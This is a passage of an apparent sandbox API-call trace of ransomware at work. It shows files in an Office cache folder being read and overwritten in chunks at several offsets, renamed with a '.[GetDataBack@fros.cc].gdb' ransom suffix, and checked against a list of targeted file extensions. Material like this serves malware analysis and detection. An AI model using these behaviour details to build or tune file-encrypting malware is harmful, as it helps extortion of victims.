[0128.250] WriteFile (in: hFile=0x1fc, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e4f800, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x2e4f800*=0x40000, lpOverlapped=0x0) returned 1 [0128.252] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7f4 | out: lpNewFilePointer=0x0) returned 1 [0128.252] WriteFile (in: hFile=0x1fc, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e4f800, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x2e4f800*=0x40000, lpOverlapped=0x0) returned 1 [0128.254] CloseHandle (hObject=0x1fc) returned 1 [0128.254] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0128.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0128.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0128.254] lstrlenW (lpString=".doc") returned 4 [0128.254] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0128.254] lstrlenW (lpString=".docx") returned 5 [0128.254] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0128.254] lstrlenW (lpString=".pdf") returned 4 [0128.255] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0128.255] lstrlenW (lpString=".xls") returned 4 [0128.255] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0128.255] lstrlenW (lpString=".xlsx") returned 5 [0128.255] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0128.255] lstrlenW (lpString=".ppt") returned 4 [0128.255] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0128.255] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0128.255] lstrlenW (lpString=".zip") returned 4 [0128.255] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0128.255] lstrlenW (lpString=".rar") returned 4 [0128.255] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0128.255] lstrlenW (lpString=".bz2") returned 4 [0128.255] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0128.255] lstrlenW (lpString=".7z") returned 3 [0128.255] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0128.255] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0128.255] lstrlenW (lpString=".dbf") returned 4 [0128.255] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0128.255] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0128.255] lstrlenW (lpString=".1cd") returned 4 [0128.255] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0128.255] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0128.255] lstrlenW (lpString=".jpg") returned 4 [0128.255] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0128.255] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0128.255] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0128.255] lstrlenW (lpString=".doc") returned 4 [0128.255] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0128.255] lstrlenW (lpString=".docx") returned 5 [0128.255] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0128.255] lstrlenW (lpString=".pdf") returned 4 [0128.255] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0128.255] lstrlenW (lpString=".xls") returned 4 [0128.255] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0128.255] lstrlenW (lpString=".xlsx") returned 5 [0128.255] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0128.255] lstrlenW (lpString=".ppt") returned 4 [0128.256] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0128.256] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0128.256] lstrlenW (lpString=".zip") returned 4 [0128.256] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0128.256] lstrlenW (lpString=".rar") returned 4 [0128.256] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0128.256] lstrlenW (lpString=".bz2") returned 4 [0128.256] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0128.256] lstrlenW (lpString=".7z") returned 3 [0128.256] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0128.256] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0128.256] lstrlenW (lpString=".dbf") returned 4 [0128.256] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0128.256] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0128.256] lstrlenW (lpString=".1cd") returned 4 [0128.256] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0128.256] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0128.256] lstrlenW (lpString=".jpg") returned 4 [0128.256] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0128.256] lstrcmpiW (lpString1=".msi", lpString2=".gdb") returned 1 [0128.256] lstrlenW (lpString="ProPlusrWW.msi") returned 14 [0128.256] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0128.257] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2e4fa94 | out: lpFileSize=0x2e4fa94*=27532288) returned 1 [0128.257] CloseHandle (hObject=0x1fc) returned 1 [0128.257] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi")) returned 0x2020 [0128.257] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0128.257] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0128.257] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0128.257] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7e4 | out: lpNewFilePointer=0x0) returned 1 [0128.258] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7a4 | out: lpNewFilePointer=0x0) returned 1 [0128.258] ReadFile (in: hFile=0x1fc, lpBuffer=0x3560058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e4f7b0, lpOverlapped=0x0 | out: lpBuffer=0x3560058*, lpNumberOfBytesRead=0x2e4f7b0*=0x40000, lpOverlapped=0x0) returned 1 [0128.263] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7a4 | out: lpNewFilePointer=0x0) returned 1 [0128.263] ReadFile (in: hFile=0x1fc, lpBuffer=0x35a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e4f7b0, lpOverlapped=0x0 | out: lpBuffer=0x35a0058*, lpNumberOfBytesRead=0x2e4f7b0*=0x40000, lpOverlapped=0x0) returned 1 [0128.271] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2e4f7e4 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.271] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7a4 | out: lpNewFilePointer=0x0) returned 1 [0128.271] ReadFile (in: hFile=0x1fc, lpBuffer=0x35e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e4f7b0, lpOverlapped=0x0 | out: lpBuffer=0x35e0058*, lpNumberOfBytesRead=0x2e4f7b0*=0x40000, lpOverlapped=0x0) returned 1 [0128.286] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0128.286] WriteFile (in: hFile=0x1fc, lpBuffer=0x3560020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2e4f828, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesWritten=0x2e4f828*=0xc0108, lpOverlapped=0x0) returned 1 [0128.303] SetEndOfFile (hFile=0x1fc) returned 1 [0128.303] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7f4 | out: lpNewFilePointer=0x0) returned 1 [0128.303] WriteFile (in: hFile=0x1fc, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e4f800, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x2e4f800*=0x40000, lpOverlapped=0x0) returned 1 [0128.304] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7f4 | out: lpNewFilePointer=0x0) returned 1 [0128.304] WriteFile (in: hFile=0x1fc, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e4f800, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x2e4f800*=0x40000, lpOverlapped=0x0) returned 1 [0128.308] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7f4 | out: lpNewFilePointer=0x0) returned 1 [0128.308] WriteFile (in: hFile=0x1fc, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e4f800, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x2e4f800*=0x40000, lpOverlapped=0x0) returned 1 [0128.310] CloseHandle (hObject=0x1fc) returned 1 [0128.310] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0128.311] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0128.311] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0128.311] lstrlenW (lpString=".doc") returned 4 [0128.311] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0128.311] lstrlenW (lpString=".docx") returned 5 [0128.311] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0128.311] lstrlenW (lpString=".pdf") returned 4 [0128.311] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0128.311] lstrlenW (lpString=".xls") returned 4 [0128.311] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0128.311] lstrlenW (lpString=".xlsx") returned 5 [0128.311] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0128.311] lstrlenW (lpString=".ppt") returned 4 [0128.311] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0128.311] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0128.311] lstrlenW (lpString=".zip") returned 4 [0128.311] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0128.311] lstrlenW (lpString=".rar") returned 4 [0128.311] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0128.311] lstrlenW (lpString=".bz2") returned 4 [0128.311] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0128.311] lstrlenW (lpString=".7z") returned 3 [0128.311] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0128.311] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0128.311] lstrlenW (lpString=".dbf") returned 4 [0128.311] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0128.311] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0128.311] lstrlenW (lpString=".1cd") returned 4 [0128.311] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0128.311] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0128.311] lstrlenW (lpString=".jpg") returned 4 [0128.311] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0128.312] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0128.312] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0128.312] lstrlenW (lpString=".doc") returned 4 [0128.312] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0128.312] lstrlenW (lpString=".docx") returned 5 [0128.312] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0128.312] lstrlenW (lpString=".pdf") returned 4 [0128.312] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0128.312] lstrlenW (lpString=".xls") returned 4 [0128.312] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0128.312] lstrlenW (lpString=".xlsx") returned 5 [0128.312] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0128.312] lstrlenW (lpString=".ppt") returned 4 [0128.312] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0128.312] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0128.312] lstrlenW (lpString=".zip") returned 4 [0128.312] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0128.312] lstrlenW (lpString=".rar") returned 4 [0128.312] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0128.312] lstrlenW (lpString=".bz2") returned 4 [0128.312] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0128.312] lstrlenW (lpString=".7z") returned 3 [0128.312] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0128.312] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0128.312] lstrlenW (lpString=".dbf") returned 4 [0128.312] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0128.312] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0128.312] lstrlenW (lpString=".1cd") returned 4 [0128.312] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0128.312] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0128.312] lstrlenW (lpString=".jpg") returned 4 [0128.312] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0128.312] lstrcmpiW (lpString1=".cab", lpString2=".gdb") returned -1 [0128.313] lstrlenW (lpString="ProPrWW.cab") returned 11 [0128.313] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0129.142] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2e4fa94 | out: lpFileSize=0x2e4fa94*=177720283) returned 1 [0129.142] CloseHandle (hObject=0x1a8) returned 1 [0129.143] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab")) returned 0x2020 [0129.143] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0129.143] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0129.143] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0129.143] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7e4 | out: lpNewFilePointer=0x0) returned 1 [0129.144] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7a4 | out: lpNewFilePointer=0x0) returned 1 [0129.144] ReadFile (in: hFile=0x1a8, lpBuffer=0x3560058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e4f7b0, lpOverlapped=0x0 | out: lpBuffer=0x3560058*, lpNumberOfBytesRead=0x2e4f7b0*=0x40000, lpOverlapped=0x0) returned 1 [0129.152] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7a4 | out: lpNewFilePointer=0x0) returned 1 [0129.152] ReadFile (in: hFile=0x1a8, lpBuffer=0x35a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e4f7b0, lpOverlapped=0x0 | out: lpBuffer=0x35a0058*, lpNumberOfBytesRead=0x2e4f7b0*=0x40000, lpOverlapped=0x0) returned 1 [0129.158] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2e4f7e4 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.158] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xa93cbdb, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7a4 | out: lpNewFilePointer=0x0) returned 1 [0129.158] ReadFile (in: hFile=0x1a8, lpBuffer=0x35e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e4f7b0, lpOverlapped=0x0 | out: lpBuffer=0x35e0058*, lpNumberOfBytesRead=0x2e4f7b0*=0x40000, lpOverlapped=0x0) returned 1 [0129.176] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0129.177] WriteFile (in: hFile=0x1a8, lpBuffer=0x3560020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2e4f828, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesWritten=0x2e4f828*=0xc0102, lpOverlapped=0x0) returned 1 [0129.408] SetEndOfFile (hFile=0x1a8) returned 1 [0129.581] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7f4 | out: lpNewFilePointer=0x0) returned 1 [0129.581] WriteFile (in: hFile=0x1a8, lpBuffer=0x38c9fd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e4f800, lpOverlapped=0x0 | out: lpBuffer=0x38c9fd8*, lpNumberOfBytesWritten=0x2e4f800*=0x40000, lpOverlapped=0x0) returned 1 [0129.581] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7f4 | out: lpNewFilePointer=0x0) returned 1 [0129.581] WriteFile (in: hFile=0x1a8, lpBuffer=0x38c9fd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e4f800, lpOverlapped=0x0 | out: lpBuffer=0x38c9fd8*, lpNumberOfBytesWritten=0x2e4f800*=0x40000, lpOverlapped=0x0) returned 1 [0129.582] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xa93cbdb, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7f4 | out: lpNewFilePointer=0x0) returned 1 [0129.582] WriteFile (in: hFile=0x1a8, lpBuffer=0x38c9fd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e4f800, lpOverlapped=0x0 | out: lpBuffer=0x38c9fd8*, lpNumberOfBytesWritten=0x2e4f800*=0x40000, lpOverlapped=0x0) returned 1 [0129.584] CloseHandle (hObject=0x1a8) returned 1 [0129.584] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0129.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0129.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0129.585] lstrlenW (lpString=".doc") returned 4 [0129.585] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0129.585] lstrlenW (lpString=".docx") returned 5 [0129.585] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0129.585] lstrlenW (lpString=".pdf") returned 4 [0129.585] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0129.585] lstrlenW (lpString=".xls") returned 4 [0129.585] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0129.585] lstrlenW (lpString=".xlsx") returned 5 [0129.585] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0129.585] lstrlenW (lpString=".ppt") returned 4 [0129.585] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0129.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0129.585] lstrlenW (lpString=".zip") returned 4 [0129.585] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0129.585] lstrlenW (lpString=".rar") returned 4 [0129.585] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0129.585] lstrlenW (lpString=".bz2") returned 4 [0129.592] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0129.592] lstrlenW (lpString=".7z") returned 3 [0129.592] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0129.592] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0129.592] lstrlenW (lpString=".dbf") returned 4 [0129.592] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0129.592] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0129.593] lstrlenW (lpString=".1cd") returned 4 [0129.593] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0129.593] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0129.593] lstrlenW (lpString=".jpg") returned 4 [0129.593] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0129.593] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0129.593] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0129.593] lstrlenW (lpString=".doc") returned 4 [0129.593] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0129.593] lstrlenW (lpString=".docx") returned 5 [0129.593] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0129.593] lstrlenW (lpString=".pdf") returned 4 [0129.593] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0129.593] lstrlenW (lpString=".xls") returned 4 [0129.593] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0129.593] lstrlenW (lpString=".xlsx") returned 5 [0129.593] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0129.593] lstrlenW (lpString=".ppt") returned 4 [0129.593] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0129.593] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0129.593] lstrlenW (lpString=".zip") returned 4 [0129.593] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0129.593] lstrlenW (lpString=".rar") returned 4 [0129.593] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0129.593] lstrlenW (lpString=".bz2") returned 4 [0129.593] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0129.593] lstrlenW (lpString=".7z") returned 3 [0129.593] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0129.593] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0129.593] lstrlenW (lpString=".dbf") returned 4 [0129.593] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0129.593] lstrlenW 